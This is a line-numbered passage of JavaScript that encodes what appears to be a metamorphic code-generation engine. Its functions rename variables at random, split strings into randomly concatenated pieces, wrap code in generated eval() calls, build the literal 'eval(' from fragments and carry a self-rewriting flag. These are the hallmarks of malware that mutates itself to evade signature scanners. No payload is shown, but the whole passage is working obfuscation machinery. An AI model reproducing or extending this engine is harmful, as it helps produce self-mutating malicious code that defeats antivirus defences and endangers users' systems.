  1276.     MetaLevelLanguage+='__(CrLogic0400|)var CLlogicoperator=#x1#O1°+argfCreateLogic+°#.substring(#x2#x3#O2°+argfCreateLogic+°#.indexOf(#"?"#)2O#3x#+#x4#n1n#4x#2x#)1O#1x#';
  1277.     MetaLevelLanguage+='__(CrLogic0500|CrLogic0400)var CLantilogic=#x1fGetAntiLogic(#x2°+CLlogicoperator+°2x#)1x#';
  1278.     MetaLevelLanguage+='__(CrLogic0600|)var CLDeriv=#x1fDeriveRestrictVC1x#';
  1279.     MetaLevelLanguage+='__(CrLogic0700|CrLogic0300,CrLogic0600)if(#x1fIsNumber(#x2°+CLarg2+°2x#)1x#!#n1n#?==)001';
  1280.         MetaLevelLanguage+='__(CrLogicA100|)yCLDeriv=#x1fDeriveVC1x#';
  1281.     MetaLevelLanguage+='__(CrLogic0800|)000';
  1282.     MetaLevelLanguage+='__(CrLogic0900|CrLogic0100,CrLogic0200)if(#x1°+sNoDerivation1+°1x#!#n0n#?==)001';
  1283.         MetaLevelLanguage+='__(CrLogicA100|)yCLarg1=#x3fDeriveRestrictVC(#x1°+CLarg1+°1x#,#x2#n24n#2x#)3x#';
  1284.     MetaLevelLanguage+='__(CrLogic1000|)000';
  1285.     MetaLevelLanguage+='__(CrLogic1100|CrLogic0100,CrLogic0300,CrLogic0700)yCLarg2=#x3°+CLDeriv+°(#x1°+CLarg2+°1x#,#x2#n50n#2x#)3x#';
  1286.     MetaLevelLanguage+='__(CrLogic1200|)var CLRndNum=#x1fGiveRandomNumber(#n2n#)1x#';
  1287.     MetaLevelLanguage+='__(CrLogic1300|CrLogic0400,CrLogic0900,CrLogic1100,CrLogic1200)if(°+CLRndNum+°!#n0n#?==)004';
  1288.         MetaLevelLanguage+='__(CrLogicA100|)var CLRV=#""#';
  1289.         MetaLevelLanguage+='__(CrLogicA200|CrLogicA100)c+s(°+CLRV+°,#x1°+CLarg1+°1x#)';
  1290.         MetaLevelLanguage+='__(CrLogicA300|)c+s(°+CLlogicoperator+°,#x1°+CLarg2+°1x#)';
  1291.         MetaLevelLanguage+='__(CrLogicA400|CrLogicA200,CrLogicA300)c+s(°+CLRV+°,#x1°+CLlogicoperator+°1x#)';
  1292.     MetaLevelLanguage+='__(CrLogic1400|)000';
  1293.     MetaLevelLanguage+='__(CrLogic1500|CrLogic0500,CrLogic0900,CrLogic1100,CrLogic1200)if(#x1°+CLRndNum+°1x#!#n1n#?==)004';
  1294.         MetaLevelLanguage+='__(CrLogicA100|)var CLRV=#""#';
  1295.         MetaLevelLanguage+='__(CrLogicA200|CrLogicA100)c+s(°+CLRV+°,#x1°+CLarg2+°1x#)';
  1296.         MetaLevelLanguage+='__(CrLogicA300|)c+s(°+CLantilogic+°,#x1°+CLarg1+°1x#)';
  1297.         MetaLevelLanguage+='__(CrLogicA400|CrLogicA200,CrLogicA300)c+s(°+CLRV+°,#x1°+CLantilogic+°1x#)';
  1298.     MetaLevelLanguage+='__(CrLogic1600|)000';
  1299.     MetaLevelLanguage+='__(CrLogic1700|CrLogic1300,CrLogic1500)xreturn(#x1°+CLRV+°1x#)';
  1300.  
  1301.  
  1302. MetaLevelLanguage+='__(1000|)function fDeriveVC(argDeriveVC1,argDeriveVC2)009';
  1303.     MetaLevelLanguage+='__(DVC0100|)var DVCRNum=#x2fGiveRandomNumber(#x1°+argDeriveVC2+°1x#)2x#';
  1304.     MetaLevelLanguage+='__(DVC0200|DVC0100)if(#x1°+DVCRNum+°1x#!2?<)005';
  1305.         MetaLevelLanguage+='__(DVCA100|)var DVCTmpName=#x1fGiveRandomString()1x#';    
  1306.         MetaLevelLanguage+='__(DVCA200|)x#O1sVarDefs#.push(#x1°+argDeriveVC1+°1x#)1O#';
  1307.         MetaLevelLanguage+='__(DVCA300|DVCA100)x#O1sVarNames#.push(#x1°+DVCTmpName+°1x#)1O#';
  1308.         MetaLevelLanguage+='__(DVCA400|DVCA200,DVCA300)var DVCRname=#x3fDeriveVC(#x1°+DVCTmpName+°1x#,#x2#n30n#2x#)3x#';
  1309.         MetaLevelLanguage+='__(DVCA500|DVCA400)xreturn(#x1°+DVCRname+°1x#)';
  1310.     MetaLevelLanguage+='__(DVC0300|)000';
  1311.     MetaLevelLanguage+='__(DVC0400|DVC0200)xreturn(#x1°+argDeriveVC1+°1x#)';
  1312.  
  1313.  
  1314. MetaLevelLanguage+='__(1100|)function fCreateVariableListForFunctionCalls(argCVLCodeStr,argCVLArrOrig,argCVLArrRnd)010';
  1315.     MetaLevelLanguage+='__(CVL0100|)var CopyexecCode=#x1#O1°+argCVLCodeStr+°#.toString()1O#1x#';
  1316.     MetaLevelLanguage+='__(CVL0200|CVL0100)while($#x1#O1°+CopyexecCode+°#.indexOf(#x2#x3fGiveMeString(#x5#n176n#5x#)3x#+#x4fGiveMeString(#x6#n43n#6x#)4x#2x#)1O#1x#!-1?!=@)002';
  1317.         MetaLevelLanguage+='__(CVLA100|)x#O1°+argCVLArrOrig+°#.push(#x1#O2°+CopyexecCode+°#.substring(#x2#O3°+CopyexecCode+°#.indexOf(#x4fGiveMeString(#n176n#)+fGiveMeString(#n43n#)4x#)3O#2x#+#x3#n2n#3x#,#x4#O4°+CopyexecCode+°#.indexOf(#x5#x6fGiveMeString(#n43n#)6x#+#x7fGiveMeString(#n176n#)7x#5x#)4O#4x#)2O#1x#)1O#';
  1318.         MetaLevelLanguage+='__(CVLA200|CVLA100)y°+CopyexecCode+°=#x1#O1°+CopyexecCode+°#.substring(#x2#x4#O2°+CopyexecCode+°#.indexOf(#x5#x6fGiveMeString(#n43n#)6x#+#x7fGiveMeString(#n176n#)7x#5x#)2O#4x#+#x3#n2n#3x#2x#)1O#1x#';    
  1319.     MetaLevelLanguage+='__(CVL0300|CVL0200)while(var CVLFcount1=#x1#n0n#1x#$#x2°+CVLFcount1+°2x#!#x3#O1°+argCVLArrOrig+°#.length1O#3x#?<@°+CVLFcount1+°=#x1#x2°+CVLFcount1+°2x#+#n1n#1x#)004';
  1320.         MetaLevelLanguage+='__(CVLA100|)var RandNameForFuncArg=#x1fGiveRandomString()1x#';
  1321.         MetaLevelLanguage+='__(CVLA200|CVLA100)y#O1°+argCVLArrRnd+°#.push(#x1°+RandNameForFuncArg+°1x#)1O#';
  1322.         MetaLevelLanguage+='__(CVLA300|CVLA200)while($#x1#O1°+argCVLCodeStr+°#.indexOf(#x2°+argCVLArrOrig+°[#x3°+CVLFcount1+°3x#]2x#)1O#1x#!#x1#n-1n#1x#?!=@)001';
  1323.             MetaLevelLanguage+='__(CVLAA100|)y°+argCVLCodeStr+°=#x1#O1°+argCVLCodeStr+°#.replace(#x2°+argCVLArrOrig+°[#x3°+CVLFcount1+°3x#]2x#,#x4°+RandNameForFuncArg+°4x#)1O#1x#';
  1324.     MetaLevelLanguage+='__(CVL0400|CVL0300)xreturn(#x1°+argCVLCodeStr+°1x#)';
  1325.    
  1326.  
  1327. MetaLevelLanguage+='__(1200|)function fGetVariableList(argGetVariableList)006';
  1328.     MetaLevelLanguage+='__(GVL0100|)var GVLVarListRV=#""#';
  1329.     MetaLevelLanguage+='__(GVL0200|GVL0100)while($#x1#O1°+argGetVariableList+°#.indexOf(#x2#x3fGiveMeString(#x7#n176n#7x#)3x#+#x4fGiveMeString(#x6#n43n#6x#)4x#2x#)1O#1x#!#x5#n-1n#5x#?!=@)003';    
  1330.         MetaLevelLanguage+='__(GVLA100|)c+s(°+GVLVarListRV+°,#x1#O1°+argGetVariableList+°#.substring(#x2#O2°+argGetVariableList+°#.indexOf(fGiveMeString(#n176n#)+fGiveMeString(#n43n#))2O#2x#+#n2n#,#x3#O3°+argGetVariableList+°#.indexOf(#x6#x4fGiveMeString(#n43n#)4x#+#x5fGiveMeString(#n176n#)5x#6x#)3O#3x#)+#","#1O#1x#)';
  1331.         MetaLevelLanguage+='__(GVLA200|GVLA100)y°+argGetVariableList+°=#x1#O1°+argGetVariableList+°#.replace(#x2#x3fGiveMeString(#n176n#)3x#+#x4fGiveMeString(#n43n#)4x#2x#,#x5#""#5x#)1O#1x#';
  1332.         MetaLevelLanguage+='__(GVLA300|GVLA100)y°+argGetVariableList+°=#x1#O1°+argGetVariableList+°#.replace(#x2#x3fGiveMeString(#n43n#)3x#+#x4fGiveMeString(#n176n#)4x#2x#,#x5#""#5x#)1O#1x#';
  1333.     MetaLevelLanguage+='__(GVL0300|GVL0200)xreturn(#x1#x2fGiveMeString(#n95n#)2x#+#x4fGiveMeString(#n42n#)4x#+#x5fGiveMeString(#n95n#)5x#+#x6fGiveMeString(#n42n#)6x#+ #x3#O1°+GVLVarListRV+°#.substring(#n0n#,#O2°+GVLVarListRV+°#.length2O#-#n1n#)1O#3x#+#x7fGiveMeString(#n42n#)7x#+#x8fGiveMeString(#n95n#)8x#+#x9fGiveMeString(#n42n#)9x#+fGiveMeString(#n95n#)1x#)';
  1334.  
  1335.  
  1336. MetaLevelLanguage+='__(1300|)function fRemoveVariableIndicator(argRemoveVariableIndicator)003';
  1337.     MetaLevelLanguage+='__(RVI0100|)while($#x1#O1°+argRemoveVariableIndicator+°#.indexOf(#x3#x2fGiveMeString(#n95n#)2x#+#x4fGiveMeString(#n42n#)4x#+#x5fGiveMeString(#n95n#)5x#+#x6fGiveMeString(#n42n#)6x#3x#)1O#1x#!#n-1n#?!=@)001';
  1338.         MetaLevelLanguage+='__(RVIA200|)y°+argRemoveVariableIndicator+°=#x1#O1°+argRemoveVariableIndicator+°#.substring(#n0n#,#x2#O2°+argRemoveVariableIndicator+°#.indexOf(#x3#x4fGiveMeString(#n95n#)+fGiveMeString(#n42n#)4x#+#x5fGiveMeString(#n95n#)+fGiveMeString(#n42n#)5x#3x#)2O#2x#)1O#+ #O3°+argRemoveVariableIndicator+°#.substring(#x6#O4°+argRemoveVariableIndicator+°#.indexOf(#x7#x8fGiveMeString(#n42n#)+fGiveMeString(#n95n#)8x#+#x9fGiveMeString(#n42n#)+fGiveMeString(#n95n#)9x#7x#)4O#+#n4n#6x#)3O#1x#';
  1339.     MetaLevelLanguage+='__(RVI0200|RVI0100)xreturn(#x1°+argRemoveVariableIndicator+°1x#)';
  1340.  
  1341.  
  1342.  
  1343. MetaLevelLanguage+='__(1400|)function fDeriveRestrictVC(argDeriveRestrictVC1,argDeriveRestrictVC2,argDeriveRestrictVC3)044';
  1344.     MetaLevelLanguage+='__(DRVC0100|)var DRWhichRnd=#x1fGiveRandomNumber(#x2°+argDeriveRestrictVC2+°2x#)1x#';
  1345.     MetaLevelLanguage+='__(DRVC0150|DRVC0100)if(#x1#O1°+argDeriveRestrictVC1+°#.toString().indexOf(#x2#"ev"#+#"al("#2x#)1O#1x#!#x3#n-1n#3x#?!=)001';
  1346.         MetaLevelLanguage+='__(DRVCA150|)c+n(°+DRWhichRnd+°,#x1#n7n#1x#)';
  1347.     MetaLevelLanguage+='__(DRVC0160|)000';
  1348.     MetaLevelLanguage+='__(DRVC0200|DRVC0150)if(#x1°+DRWhichRnd+°1x#!#x2#n10n#2x#?>)001';
  1349.         MetaLevelLanguage+='__(DRVCA100|)xreturn(#x1°+argDeriveRestrictVC1+°1x#)';
  1350.     MetaLevelLanguage+='__(DRVC0300|)000';
  1351.     MetaLevelLanguage+='__(DRVC0400|)var DRRndStr=#x1fGiveRandomString()1x#';
  1352.     MetaLevelLanguage+='__(DRVC0500|DRVC0200,DRVC0400)if(#x1°+DRWhichRnd+°1x#!#x2#n8n#2x#?>)017';
  1353.         MetaLevelLanguage+='__(DRVCZ100|)if(#x1°+argDeriveRestrictVC3+°1x#!#x2#n1n#2x#?!=)015';
  1354.             MetaLevelLanguage+='__(DRVCA100|)if(#x1fGiveRandomNumber(#x2#n2n#2x#)1x#!#x3#n0n#3x#?==)005';  
  1355.                 MetaLevelLanguage+='__(DRVCAA050|)c+s(°+sDeriveRestrString+°,#x1#"var "#1x#)';            
  1356.                 MetaLevelLanguage+='__(DRVCAA100|DRVCAA050)c+s(°+sDeriveRestrString+°,#x1°+DRRndStr+°1x#)';
  1357.                 MetaLevelLanguage+='__(DRVCAA200|DRVCAA100)c+s(°+sDeriveRestrString+°,#x1#"="#1x#)';
  1358.                 MetaLevelLanguage+='__(DRVCAA300|DRVCAA200)c+s(°+sDeriveRestrString+°,#x1°+argDeriveRestrictVC1+°1x#)';
  1359.                 MetaLevelLanguage+='__(DRVCAA400|DRVCAA300)c+s(°+sDeriveRestrString+°,#x1#x2fGiveMeString(64)2x#+#x3fGiveMeString(59)3x#1x#)';
  1360.             MetaLevelLanguage+='__(DRVCA200|)007';
  1361.                 MetaLevelLanguage+='__(DRVCAA100|)var DRVCtmp=#x1#"var "#1x#';
  1362.                 MetaLevelLanguage+='__(DRVCAA200|DRVCAA100)c+s(°+DRVCtmp+°,#x1°+DRRndStr+°1x#)';
  1363.                 MetaLevelLanguage+='__(DRVCAA300|DRVCAA200)c+s(°+DRVCtmp+°,#x1#"="#1x#)';
  1364.                 MetaLevelLanguage+='__(DRVCAA400|DRVCAA300)c+s(°+DRVCtmp+°,#x1°+argDeriveRestrictVC1+°1x#)';
  1365.                 MetaLevelLanguage+='__(DRVCAA500|DRVCAA400)c+s(°+DRVCtmp+°,#x1#x2fGiveMeString(#x5#n64n#5x#)2x#+#x3fGiveMeString(#x4#n59n#4x#)3x#1x#)';
  1366.                 MetaLevelLanguage+='__(DRVCAA600|DRVCAA500)c+s(°+DRVCtmp+°,#x1°+sDeriveRestrString+°1x#)';
  1367.                 MetaLevelLanguage+='__(DRVCAA700|DRVCAA600)y°+sDeriveRestrString+°=#x1°+DRVCtmp+°1x#';
  1368.             MetaLevelLanguage+='__(DRVCA300|DRVCA100)xreturn(#x1°+DRRndStr+°1x#)';
  1369.         MetaLevelLanguage+='__(DRVCZ200|)000';            
  1370.     MetaLevelLanguage+='__(DRVC0600|)000';
  1371.     MetaLevelLanguage+='__(DRVC0700|DRVC0500)if(#x1°+DRWhichRnd+°1x#!#x2#n6n#2x#?>)004';
  1372.         MetaLevelLanguage+='__(DRVCA100|)var DRVariableString=#x1fGetVariableList(#x2#O1°+argDeriveRestrictVC1+°#.toString()1O#2x#)1x#';
  1373.         MetaLevelLanguage+='__(DRVCA200|DRVCA100)y°+argDeriveRestrictVC1+°=#x1fRemoveVariableMask(#x2#O1°+argDeriveRestrictVC1+°#.toString()1O#2x#)1x#';
  1374.         MetaLevelLanguage+='__(DRVCA250|DRVCA100)y°+argDeriveRestrictVC1+°=#x1fRemoveVariableIndicator(#x2#O1°+argDeriveRestrictVC1+°#.toString()1O#2x#)1x#';        
  1375.         MetaLevelLanguage+='__(DRVCA300|DRVCA200,DRVCA250)xreturn(#x1#x2#"eval("#2x#+#x3fCreateString(°+argDeriveRestrictVC1+°)3x#+#x4#")"#4x#+ #x5°+DRVariableString+°5x#1x#)';
  1376.     MetaLevelLanguage+='__(DRVC0800|)000';
  1377.     MetaLevelLanguage+='__(DRVC0900|)var DRVariableListLL=[]';
  1378.     MetaLevelLanguage+='__(DRVC1000|)var DRVariableListRnd=[]';
  1379.     MetaLevelLanguage+='__(DRVC1100|DRVC0700,DRVC0900,DRVC1000)y°+argDeriveRestrictVC1+°=#x1fCreateVariableListForFunctionCalls(#x2°+argDeriveRestrictVC1+°2x#,#x3°+DRVariableListLL+°3x#,#x4°+DRVariableListRnd+°4x#)1x#';
  1380.     MetaLevelLanguage+='__(DRVC1200|DRVC0700)y°+sFunctionNames+°.push(#x1°+DRRndStr+°1x#)';
  1381.     MetaLevelLanguage+='__(DRVC1300|DRVC1100)y°+sFunctionArgs+°.push(#x1#x2#"("#2x#+ #x3°+DRVariableListRnd+°.join()3x#+#x4#")"#4x#1x#)';
  1382.     MetaLevelLanguage+='__(DRVC1400|DRVC1100)y°+sFunctionDefs+°.push(#x1#x2#"return "#2x#+#x3 °+argDeriveRestrictVC1+°3x#1x#)';
  1383.     MetaLevelLanguage+='__(DRVC1500|DRVC1100)var DRReturnValue=#x1#O1°+DRVariableListLL+°#.join(#x2#x3fGiveMeString(#x8#n43n#8x#)3x#+#x4fGiveMeString(#n176n#)4x#+#x5fGiveMeString(#n44n#)5x#+#x6fGiveMeString(#n176n#)6x#+#x7fGiveMeString(#x9#n43n#9x#)7x#2x#)1O#1x#';
  1384.     MetaLevelLanguage+='__(DRVC1600|DRVC1500)if(#x1#O1°+DRVariableListLL+°#.length1O#1x#!#x2#n0n#2x#?>)001';
  1385.         MetaLevelLanguage+='__(DRVCA100|)y°+DRReturnValue+°=#x1#x6fGiveMeString(#x2#n176n#2x#)6x#+#x7fGiveMeString(#x3#n43n#3x#)7x#+ #x8°+DRReturnValue+°8x# +#x9fGiveMeString(#x4#n43n#4x#)+fGiveMeString(#x5#n176n#5x#)9x#1x#';
  1386.     MetaLevelLanguage+='__(DRVC1700|)000';
  1387.     MetaLevelLanguage+='__(DRVC1800|DRVC1200,DRVC1300,DRVC1400,DRVC1500,DRVC1600)xreturn(#x1#x2°+DRRndStr+°2x# +#x3#"("#3x#+ #x4°+DRReturnValue+°4x# +#x5#")"#5x#1x#)';
  1388.  
  1389.  
  1390.  
  1391. MetaLevelLanguage+='__(1500|)function fCreateExecution(argCreateExecution1,argCreateExecution2)049';
  1392.     MetaLevelLanguage+='__(CE0100|)var CERnd1=#x1fGiveRandomNumber(#x2#n8n#2x#)1x#';
  1393.     MetaLevelLanguage+='__(CE0200|CE0100)if(#x1°+argCreateExecution2+°1x#!#x2#n1n#2x#?==)001';      
  1394.         MetaLevelLanguage+='__(CEA100|)y°+CERnd1+°=#x1fGiveRandomNumber(#x2#n5n#2x#)1x#';
  1395.     MetaLevelLanguage+='__(CE0300|)000';
  1396.     MetaLevelLanguage+='__(CE0400|CE0100)if(#x1°+CERnd1+°1x#!#x2#n4n#2x#?<)001';      
  1397.         MetaLevelLanguage+='__(CEA100|)xreturn(#x1°+argCreateExecution1+°1x#)';
  1398.     MetaLevelLanguage+='__(CE0500|)000';    
  1399.     MetaLevelLanguage+='__(CE0600|CE0200,CE0400)if(#x1°+CERnd1+°1x#!#x2#n6n#2x#?<)006';
  1400.         MetaLevelLanguage+='__(CEA100|)if(#x1#O1°+argCreateExecution1+°#.substring(#x2#n0n#2x#,#x3#n7n#3x#)1O#1x#!#x4#"return("#4x#?!=)004';  
  1401.             MetaLevelLanguage+='__(CEAA100|)var CEVariableString=#x1fGetVariableList(#x2°+argCreateExecution1+°2x#)1x#';
  1402.             MetaLevelLanguage+='__(CEAA200|CEAA100)y°+argCreateExecution1+°=#x1fRemoveVariableMask(#x2°+argCreateExecution1+°2x#)1x#';
  1403.             MetaLevelLanguage+='__(CEAA250|CEAA100)y°+argCreateExecution1+°=#x1fRemoveVariableIndicator(#x2°+argCreateExecution1+°2x#)1x#';                
  1404.             MetaLevelLanguage+='__(CEAA300|CEAA200,CEAA250)xreturn(#x1#x2#"eval("#2x#+#x3fCreateString(#x6°+argCreateExecution1+°6x#)3x#+#x4#")"#4x#+ #x5°+CEVariableString+°5x#1x#)';      
  1405.         MetaLevelLanguage+='__(CEA200|)000';
  1406.     MetaLevelLanguage+='__(CE0700|)000';
  1407.     MetaLevelLanguage+='__(CE0750|CE0400,CE0600)if(#x1#O1°+argCreateExecution1+°#.indexOf(#x2#"eva"#+#"l("#2x#)1O#1x#!#x3#n-1n#3x#?!=)001';
  1408.         MetaLevelLanguage+='__(CEA100|)xreturn(#x1°+argCreateExecution1+°1x#)';
  1409.     MetaLevelLanguage+='__(CE0760|)000';              
  1410.     MetaLevelLanguage+='__(CE0800|)var CERnd2=#x1fGiveRandomString()1x#';
  1411.     MetaLevelLanguage+='__(CE0900|CE0750,CE0800)if(#x1°+sRecordFunctionVariables+°1x#!#x2#n0n#2x#?==)003';        
  1412.         MetaLevelLanguage+='__(CEA100|)y°+sRecordFunctionFN+°=#x1#O1°+sFunctionNames+°#.length1O#1x#';    
  1413.         MetaLevelLanguage+='__(CEA200|)y°+sRecordFunctionVN+°=#x1#O1°+sVarNames+°#.length1O#1x#';    
  1414.         MetaLevelLanguage+='__(CEA300|)y°+#O1sFunctionVariableFctName+°#.push(#x1°+CERnd2+°1x#)1O#';
  1415.     MetaLevelLanguage+='__(CE1000|)000';
  1416.     MetaLevelLanguage+='__(CE1100|CE0900)c+1(°+sRecordFunctionVariables+°)';
  1417.     MetaLevelLanguage+='__(CE1200|)var CEVariableList=#x1[]1x#';
  1418.     MetaLevelLanguage+='__(CE1300|)var CEVariableRndList=#x1[]1x#';
  1419.     MetaLevelLanguage+='__(CE1400|CE1100,CE1200,CE1300)y°+argCreateExecution1+°=#x1fCreateVariableListForFunctionCalls(#x2°+argCreateExecution1+°2x#,#x3°+CEVariableList+°3x#,#x4°+CEVariableRndList+°4x#)1x#';
  1420.     MetaLevelLanguage+='__(CE1500|CE1400)y#O1°+sFunctionDefs+°#.push(#x1fCreateExecution(#x2°+argCreateExecution1+°2x#)1x#)1O#';
  1421.     MetaLevelLanguage+='__(CE1600|CE1500)y#O1°+sFunctionNames+°#.push(#x1°+CERnd2+°1x#)1O#';
  1422.     MetaLevelLanguage+='__(CE1700|CE1500)y#O1°+sFunctionArgs+°#.push(#x1#x2#"("#2x#+ #x3#O2°+CEVariableRndList+°#.join()2O#3x#+#x4#")"#4x#1x#)1O#';
  1423.     MetaLevelLanguage+='__(CE1800|CE1600,CE1700)c-1(°+sRecordFunctionVariables+°)';
  1424.     MetaLevelLanguage+='__(CE1900|CE1800)if(#x1°+sRecordFunctionVariables+°1x#!#x2#n0n#2x#?==)003';
  1425.         MetaLevelLanguage+='__(CEA100|)def RecordFctNames=#x1#O1°+sFunctionNames+°#.slice(#x2°+sRecordFunctionFN+°2x#)1O#1x#';
  1426.         MetaLevelLanguage+='__(CEA200|)def RecordVNames1=#x1#O1°+sVarNames+°#.slice(#x2°+sRecordFunctionVN+°2x#)1O#1x#';
  1427.         MetaLevelLanguage+='__(CEA300|CEA100,CEA200)y#x1#O1°+sFunctionVariableNameArray+°#.push(#x2#O2°+RecordVNames1+°#.concat(#x3°+RecordFctNames+°3x#)2O#2x#)1O#1x#';
  1428.     MetaLevelLanguage+='__(CE2000|)000';
  1429.     MetaLevelLanguage+='__(CE2100|CE1900)var CEReturnValue1=#x1#O1°+CEVariableList+°#.join(#x2#x3fGiveMeString(#x8#n43n#8x#)3x#+#x4fGiveMeString(#n176n#)4x#2x#+#x5fGiveMeString(#x9#n44n#9x#)+#x6fGiveMeString(#n176n#)6x#+#x7fGiveMeString(#n43n#)7x#5x#)1O#1x#';
  1430.     MetaLevelLanguage+='__(CE2200|CE2100)if(#x1#O1°+CEVariableList+°#.length1O#1x#!#x2#n0n#2x#?>)005';          
  1431.         MetaLevelLanguage+='__(CEA100|CEA1B0)var SomeRndName=#x1#""#1x#';    
  1432.         MetaLevelLanguage+='__(CEA200|CEA100)c+s(°+SomeRndName+°,#x1#x2fGiveMeString(#x4#n176n#4x#)2x#+#x3fGiveMeString(#x5#n43n#5x#)3x#1x#)';
  1433.         MetaLevelLanguage+='__(CEA300|CEA200)c+s(°+SomeRndName+°,#x1°+CEReturnValue1+°1x#)';
  1434.         MetaLevelLanguage+='__(CEA400|CEA300)c+s(°+SomeRndName+°,#x1#x2fGiveMeString(#x4#n43n#4x#)2x#+#x3fGiveMeString(#x5#n176n#5x#)3x#1x#)';
  1435.         MetaLevelLanguage+='__(CEA500|CEA400)y°+CEReturnValue1+°=#x1°+SomeRndName+°1x#';    
  1436.     MetaLevelLanguage+='__(CE2300|)000';
  1437.     MetaLevelLanguage+='__(CE2400|CE2200)if(#x1#O1°+argCreateExecution1+°#.substring(#x2#n0n#2x#,#x3#n7n#3x#)1O#1x#!#x4#"return("#4x#?==)001';
  1438.         MetaLevelLanguage+='__(CEA100|)xreturn(#x1#x2#"return("#2x#+ #x3°+CERnd2+°3x# +#x4#"("#4x#+#x5 °+CEReturnValue1+° 5x#+#x6#"))"#6x#1x#)';
  1439.     MetaLevelLanguage+='__(CE2500|)000';
  1440.     MetaLevelLanguage+='__(CE2600|CE2400)xreturn(#x1#x2°+CERnd2+° 2x#+#x3#"("#3x#+#x4 °+CEReturnValue1+° 4x#+#x5#")"#5x#1x#)';
  1441.  
  1442.  
  1443.  
  1444. MetaLevelLanguage+='__(1600|)function fCreateString(argCreateString1)045';
  1445.     MetaLevelLanguage+='__(CS0100|)var CSInString=#x1°+argCreateString1+°1x#';
  1446.     MetaLevelLanguage+='__(CS0200|CS0100)var CSRNum1=#x1#O1Math#.floor(#x2#x3#O2Math#.random()2O#3x#*#x4#O3°+CSInString+°#.length3O#/#x5#n6n#5x#4x#2x#)1O#1x#';
  1447.     MetaLevelLanguage+='__(CS0250|CS0200)if(°+CSRNum1+°!1000?>)001';
  1448.         MetaLevelLanguage+='__(CS0200|CS0100)y°+CSRNum1+°=#x1#O1Math#.floor(#x2#x3#O2Math#.random()2O#3x#*#x4#O3°+CSInString+°#.length3O#/#x5#n50n#5x#4x#2x#)1O#1x#';
  1449.     MetaLevelLanguage+='__(CS0251|)000';
  1450.     MetaLevelLanguage+='__(CS0300|CS0250)while(var CSCount1=#x1#n0n#1x#$#x2°+CSCount1+°2x#!#x3°+CSRNum1+°3x#?<@°+CSCount1+°=#x4#x5°+CSCount1+°5x#+#x6#n1n#6x#4x#)002';
  1451.         MetaLevelLanguage+='__(CSA100|)var CSRNum2=#x1fGiveRandomNumber(#x2#O2°+CSInString+°#.length2O#2x#)1x#';
  1452.         MetaLevelLanguage+='__(CSA200|CSA100)yCSInString=#x1#x2#O1°+CSInString+°#.substring(#n0n#,#x9°+CSRNum2+°9x#)1O#2x#+#x3fGiveMeString(#x4#n64n#4x#)3x#+#x8fGiveMeString(#x5#n64n#5x#)8x#+#x6 #O2°+CSInString+°#.substring(#x7°+CSRNum2+°7x#)2O#6x#1x#';
  1453.     MetaLevelLanguage+='__(CS0400|CS0300)var CSSplitStr=#x1#O1°+CSInString+°#.split(#x3#x4fGiveMeString(#x5#n64n#5x#)4x#+#x2fGiveMeString(#x6#n64n#6x#)2x#3x#)1O#1x#';          
  1454.     MetaLevelLanguage+='__(CS0500|)var CSRVString=#x1#""#1x#';  
  1455.     MetaLevelLanguage+='__(CS0600|CS0400,CS0500)while(var CSCount2=#x1#n0n#1x#$#x2°+CSCount2+°2x#!#x3#O1°+CSSplitStr+°#.length1O#3x#?<@°+CSCount2+°=#x4#x5°+CSCount2+°5x#+#x6#n1n#6x#4x#)033';
  1456.         MetaLevelLanguage+='__(CSA100|)var CSRNum3=#x1fGiveRandomNumber(#x2#n37n#2x#)1x#';
  1457.         MetaLevelLanguage+='__(CSA150|CSA100)if(#x1DoIWriteMetaCode1x#!#n1n#?==)001';
  1458.             MetaLevelLanguage+='__(CSB150|)c+n(°+CSRNum3+°,#x1#n14n#1x#)';      
  1459.         MetaLevelLanguage+='__(CSA151|)000';                        
  1460.         MetaLevelLanguage+='__(CSA200|CSA150,CSA100)if(#x1°+CSRNum3+°1x#!#x2#n14n#2x#?<)008';    
  1461.             MetaLevelLanguage+='__(CSAA100|)while($#x1#O1°+CSSplitStr+°[#x2°+CSCount2+°2x#]#.indexOf(#x3fGiveMeString(#x4#n39n#4x#)3x#)1O#1x#!#x5#n-1n#5x#?!=@)001';
  1462.                 MetaLevelLanguage+='__(CSAAA100|)y°+CSSplitStr+°[#x1°+CSCount2+°1x#]=#x3#O1°+CSSplitStr+°[#x2°+CSCount2+°2x#]#.replace(#x4fGiveMeString(#n39n#)4x#,#x5fGiveMeString(#n35n#)+fGiveMeString(#n35n#)+fGiveMeString(#n35n#)+#x6#"+String.fromCharCode(39)+"#6x#+#x7fGiveMeString(#n35n#)+fGiveMeString(#n35n#)+fGiveMeString(#n35n#)7x#5x#)1O#3x#';
  1463.             MetaLevelLanguage+='__(CSAA200|CSAA100)while($#x1#O1°+CSSplitStr+°[#x2°+CSCount2+°2x#]#.indexOf(#x3fGiveMeString(#x4#n35n#4x#)+fGiveMeString(#n35n#)+fGiveMeString(#n35n#)3x#)1O#1x#!#n-1n#?!=@)001';
  1464.                 MetaLevelLanguage+='__(CSAAA100|)y°+CSSplitStr+°[#x1°+CSCount2+°1x#]=#x2#O1°+CSSplitStr+°[#x3°+CSCount2+°3x#]#.replace(#x4fGiveMeString(#x6#n35n#6x#)+fGiveMeString(#n35n#)+fGiveMeString(#n35n#)4x#,#x5fGiveMeString(#x7#n39n#7x#)5x#)1O#2x#';
  1465.             MetaLevelLanguage+='__(CSAA300|CSAA200)c+s(°+CSRVString+°,#x1fGiveMeString(#x2#n39n#2x#)1x#)';
  1466.             MetaLevelLanguage+='__(CSAA400|CSAA300)c+s(°+CSRVString+°,#x1°+CSSplitStr+°[#x2°+CSCount2+°2x#]1x#)';
  1467.             MetaLevelLanguage+='__(CSAA500|CSAA400)c+s(°+CSRVString+°,#x1fGiveMeString(#x2#n39n#2x#)1x#)';
  1468.             MetaLevelLanguage+='__(CSAA600|CSAA500)c+s(°+CSRVString+°,#x1fGiveMeString(#x2#n43n#2x#)1x#)';
  1469.         MetaLevelLanguage+='__(CSA300|)000';
  1470.         MetaLevelLanguage+='__(CSA400|CSA150,CSA100)if(#x1°+CSRNum3+°1x#!#x2#n13n#2x#?>)007';
  1471.             MetaLevelLanguage+='__(CSAA100|)if(#x1°+CSRNum3+°1x#!#x2#n19n#2x#?<)005';
  1472.                 MetaLevelLanguage+='__(CSAAA100|)var CSRName1=#x1fGiveRandomString()1x#';
  1473.                 MetaLevelLanguage+='__(CSAAA200|)y#O1°+sVarDefs+°#.push(#x1fCreateString(#x2°+CSSplitStr+°[#x3°+CSCount2+°3x#]2x#)1x#)1O#';
